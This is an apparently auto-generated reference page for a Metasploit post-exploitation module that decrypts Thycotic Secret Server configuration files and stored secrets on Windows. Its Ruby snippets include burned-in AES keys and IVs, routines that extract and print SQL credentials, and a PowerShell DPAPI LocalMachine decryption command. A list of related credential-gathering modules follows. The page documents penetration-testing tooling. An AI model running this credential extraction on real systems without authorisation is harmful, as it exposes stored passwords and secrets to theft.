462: rescue StandardError => e
463: vprint_error("Exception in #{__method__}: #{e.message}")
464: return false
465: end
466:
467: def thycotic_encryption_config_decrypt_legacy(enc_conf_bytes)
468: res = {}
Could not locate encryption.config key/value header in binary stream
Here is a relevant code snippet related to the "Could not locate encryption.config key/value header in binary stream" error message:
471: aes_iv_legacy = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
472: return false unless (plaintext_conf = aes_cbc_decrypt(enc_conf_bytes, aes_key_legacy, aes_iv_legacy).delete("\000"))
473:
474: plaintext_conf_hex = plaintext_conf.unpack('H*').first
475: unless plaintext_conf_hex.match?(/4b65790556616c7565/i) # magic bytes
476: print_error('Could not locate encryption.config key/value header in binary stream')
477: return false
478: end
479: working_offset = (plaintext_conf_hex.index(/4b65790556616c7565/i) / 2) + 14
480: loop do
481: k = nil
Exception in <__METHOD__>: <E.MESSAGE>
Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:
498: end
499: break if working_offset >= plaintext_conf.length
500: end
501: res
502: rescue StandardError => e
503: vprint_error("Exception in #{__method__}: #{e.message}")
504: return false
505: end
506:
507: def init_thycotic_db(ss_web_path)
508: print_status('Decrypt database.config ...')
Error reading database configuration file <SS_DB_CONFIG_FILE>
Here is a relevant code snippet related to the "Error reading database configuration file <SS_DB_CONFIG_FILE>" error message:
508: print_status('Decrypt database.config ...')
509: ss_db_config_file = ss_web_path + 'database.config'
510: vprint_status('Database configuration file path:')
511: vprint_status("\t#{ss_db_config_file}")
512: unless (db_conf = get_thycotic_database_config(read_config_file(ss_db_config_file)))
513: print_error("Error reading database configuration file #{ss_db_config_file}")
514: return false
515: end
516: db_instance_path = db_conf['DATA SOURCE']
517: db_name = db_conf['INITIAL CATALOG']
518: db_user = db_conf['USER ID']
Failed to recover database parameters from <SS_DB_CONFIG_FILE>
Here is a relevant code snippet related to the "Failed to recover database parameters from <SS_DB_CONFIG_FILE>" error message:
517: db_name = db_conf['INITIAL CATALOG']
518: db_user = db_conf['USER ID']
519: db_pass = db_conf['PASSWORD']
520: db_auth = db_conf['INTEGRATED SECURITY']
521: if db_instance_path.nil? || db_name.nil?
522: print_error("Failed to recover database parameters from #{ss_db_config_file}")
523: return false
524: end
525: @ss_db_instance_path = db_instance_path
526: @ss_db_name = db_name
527: @ss_db_integrated_auth = false
The database uses Windows authentication
Here is a relevant code snippet related to the "The database uses Windows authentication" error message:
530: print_good("\tDatabase Name: #{@ss_db_name}")
531: if !db_auth.nil?
532: if db_auth.downcase == 'true'
533: @ss_db_integrated_auth = true
534: print_good("\tDatabase User: (Windows Integrated)")
535: print_warning('The database uses Windows authentication')
536: print_warning('Session identity must have access to the SQL server instance to proceed')
537: end
538: elsif !db_user.nil? && !db_pass.nil?
539: @ss_db_user = db_user
540: @ss_db_pass = db_pass
Session identity must have access to the SQL server instance to proceed
Here is a relevant code snippet related to the "Session identity must have access to the SQL server instance to proceed" error message:
531: if !db_auth.nil?
532: if db_auth.downcase == 'true'
533: @ss_db_integrated_auth = true
534: print_good("\tDatabase User: (Windows Integrated)")
535: print_warning('The database uses Windows authentication')
536: print_warning('Session identity must have access to the SQL server instance to proceed')
537: end
538: elsif !db_user.nil? && !db_pass.nil?
539: @ss_db_user = db_user
540: @ss_db_pass = db_pass
541: extra_service_data = {
Could not extract SQL login information from <SS_DB_CONFIG_FILE>
Here is a relevant code snippet related to the "Could not extract SQL login information from <SS_DB_CONFIG_FILE>" error message:
551: }
552: store_valid_credential(user: @ss_db_user, private: @ss_db_pass, service_data: extra_service_data)
553: print_good("\tDatabase User: #{@ss_db_user}")
554: print_good("\tDatabase Pass: #{@ss_db_pass}")
555: else
556: print_error("Could not extract SQL login information from #{ss_db_config_file}")
557: return false
558: end
559: end
560:
561: def get_thycotic_database_config(db_conf_bytes)
Error decrypting database.config
Here is a relevant code snippet related to the "Error decrypting database.config" error message:
562: res = {}
563: # Burned-in static keys and IV
564: aes_key = ['020216980119760c0b79017097830b1d'].pack('H*')
565: aes_iv = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
566: unless (plaintext_conf = aes_cbc_decrypt(db_conf_bytes, aes_key, aes_iv).delete("\000"))
567: print_error('Error decrypting database.config')
568: return false
569: end
570: unless (db_str = get_thycotic_database_string(plaintext_conf))
571: print_error('Could not extract connectionString from database.config')
572: return false
Could not extract connectionString from database.config
Here is a relevant code snippet related to the "Could not extract connectionString from database.config" error message:
566: unless (plaintext_conf = aes_cbc_decrypt(db_conf_bytes, aes_key, aes_iv).delete("\000"))
567: print_error('Error decrypting database.config')
568: return false
569: end
570: unless (db_str = get_thycotic_database_string(plaintext_conf))
571: print_error('Could not extract connectionString from database.config')
572: return false
573: end
574: db_connection_elements = db_str.split(';')
575: db_connection_elements.each do |element|
576: pair = element.to_s.split('=')
Exception in <__METHOD__>: <E.MESSAGE>
Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:
578: v = pair[1]
579: res[k.upcase] = v
580: end
581: res
582: rescue StandardError => e
583: vprint_error("Exception in #{__method__}: #{e.message}")
584: return false
585: end
586:
587: def get_thycotic_database_string(plaintext_conf)
588: return false unless plaintext_conf.match?(/connectionString/i)
SecretID <SECRET_ID> field '<SECRET_FIELD>' decryption failed, attempting pure MEK decryption as last resort
Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' decryption failed, attempting pure MEK decryption as last resort" error message:
614: else
615: intermediate_key = mek
616: end
617: decrypted_secret = aes_cbc_decrypt(secret_value, intermediate_key, secret_iv)
618: unless decrypted_secret
619: vprint_warning("SecretID #{secret_id} field '#{secret_field}' decryption failed, attempting pure MEK decryption as last resort")
620: decrypted_secret = aes_cbc_decrypt(secret_value, mek, @ss_iv)
621: end
622: return false unless decrypted_secret
623:
624: if @ss_build >= 10.4
SecretID <SECRET_ID> field '<SECRET_FIELD>' contains invalid UTF-8 and will be stored as a Base64 string in the output file
Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' contains invalid UTF-8 and will be stored as a Base64 string in the output file" error message:
629: if !plaintext.to_s.empty?
630: # Catch where decryption did not throw an exception but produced invalid UTF-8 plaintext
631: # This was evident in a few test cases where the secret value appeared to have been pasted from Microsoft Word
632: if !plaintext.force_encoding('UTF-8').valid_encoding?
633: plaintext = Base64.strict_encode64(plaintext)
634: print_warning("SecretID #{secret_id} field '#{secret_field}' contains invalid UTF-8 and will be stored as a Base64 string in the output file")
635: end
636: return plaintext
637: else
638: return nil
639: end
DPAPI decrypt: invalid Base64 ciphertext
Here is a relevant code snippet related to the "DPAPI decrypt: invalid Base64 ciphertext" error message:
672: return false
673: end
674:
675: def dpapi_decrypt(b64)
676: unless b64.match?(%r{^[-A-Za-z0-9+/]*={0,3}$})
677: print_error('DPAPI decrypt: invalid Base64 ciphertext')
678: return nil
679: end
680: cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'), $Null, 'LocalMachine'))"
681: plaintext = psh_exec(cmd_str)
682: unless plaintext.match?(/^[0-9a-f]+$/i)
Failed DPAPI LocalMachine decryption
Here is a relevant code snippet related to the "Failed DPAPI LocalMachine decryption" error message:
678: return nil
679: end
680: cmd_str = "Add-Type -AssemblyName System.Security;[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('#{b64}'), $Null, 'LocalMachine'))"
681: plaintext = psh_exec(cmd_str)
682: unless plaintext.match?(/^[0-9a-f]+$/i)
683: print_error('Failed DPAPI LocalMachine decryption')
684: return nil
685: end
686: plaintext
687: end
688: end
Go back to menu.
Related Pull Requests
References
See Also
Check also the following modules related to this module:
- post/windows/gather/credentials/aim
- post/windows/gather/credentials/avira_password
- post/windows/gather/credentials/bulletproof_ftp
- post/windows/gather/credentials/chrome
- post/windows/gather/credentials/comodo
- post/windows/gather/credentials/coolnovo
- post/windows/gather/credentials/coreftp
- post/windows/gather/credentials/credential_collector
- post/windows/gather/credentials/digsby
- post/windows/gather/credentials/domain_hashdump
- post/windows/gather/credentials/dynazip_log
- post/windows/gather/credentials/dyndns
- post/windows/gather/credentials/enum_cred_store
- post/windows/gather/credentials/enum_laps
- post/windows/gather/credentials/enum_picasa_pwds
- post/windows/gather/credentials/epo_sql
- post/windows/gather/credentials/filezilla_server
- post/windows/gather/credentials/flashfxp
- post/windows/gather/credentials/flock
- post/windows/gather/credentials/ftpnavigator
- post/windows/gather/credentials/ftpx
- post/windows/gather/credentials/gadugadu
- post/windows/gather/credentials/gpp
- post/windows/gather/credentials/heidisql
- post/windows/gather/credentials/icq
- post/windows/gather/credentials/idm
- post/windows/gather/credentials/ie
- post/windows/gather/credentials/imail
- post/windows/gather/credentials/imvu
- post/windows/gather/credentials/incredimail
- post/windows/gather/credentials/kakaotalk
- post/windows/gather/credentials/kmeleon
- post/windows/gather/credentials/line
- post/windows/gather/credentials/maxthon
- post/windows/gather/credentials/mcafee_vse_hashdump
- post/windows/gather/credentials/mdaemon_cred_collector
- post/windows/gather/credentials/meebo
- post/windows/gather/credentials/miranda
- post/windows/gather/credentials/moba_xterm
- post/windows/gather/credentials/mremote
- post/windows/gather/credentials/mssql_local_hashdump
- post/windows/gather/credentials/navicat
- post/windows/gather/credentials/nimbuzz
- post/windows/gather/credentials/opera
- post/windows/gather/credentials/operamail
- post/windows/gather/credentials/outlook
- post/windows/gather/credentials/postbox
- post/windows/gather/credentials/pulse_secure
- post/windows/gather/credentials/purevpn_cred_collector
- post/windows/gather/credentials/qq
- post/windows/gather/credentials/razer_synapse
- post/windows/gather/credentials/razorsql
- post/windows/gather/credentials/rdc_manager_creds
- post/windows/gather/credentials/redis_desktop_manager
- post/windows/gather/credentials/safari
- post/windows/gather/credentials/seamonkey
- post/windows/gather/credentials/securecrt
- post/windows/gather/credentials/skype
- post/windows/gather/credentials/smartermail
- post/windows/gather/credentials/smartftp
- post/windows/gather/credentials/spark_im
- post/windows/gather/credentials/srware
- post/windows/gather/credentials/sso
- post/windows/gather/credentials/steam
- post/windows/gather/credentials/tango
- post/windows/gather/credentials/teamviewer_passwords
- post/windows/gather/credentials/thunderbird
- post/windows/gather/credentials/tlen
- post/windows/gather/credentials/tortoisesvn
- post/windows/gather/credentials/total_commander
- post/windows/gather/credentials/trillian
- post/windows/gather/credentials/viber
- post/windows/gather/credentials/vnc
- post/windows/gather/credentials/windows_autologin
- post/windows/gather/credentials/windowslivemail
- post/windows/gather/credentials/windows_sam_hivenightmare
- post/windows/gather/credentials/winscp
- post/windows/gather/credentials/wsftp_client
- post/windows/gather/credentials/xchat
- post/windows/gather/credentials/xshell_xftp_password
Authors
npm[at]cesium137.io
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.